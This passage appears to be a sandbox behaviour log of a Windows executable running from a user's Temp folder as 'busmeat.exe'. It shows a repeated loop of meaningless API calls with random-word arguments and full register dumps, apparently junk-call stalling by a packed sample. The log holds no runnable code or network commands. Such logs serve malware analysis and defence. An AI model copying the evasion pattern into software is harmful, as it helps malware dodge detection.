[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.231] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.232] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.232] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.232] GetConsoleCP () returned 0x0
	[0066.232] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.232] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.233] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.233] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.233] GetConsoleCP () returned 0x0
	[0066.233] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.233] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.235] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.235] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.235] GetConsoleCP () returned 0x0
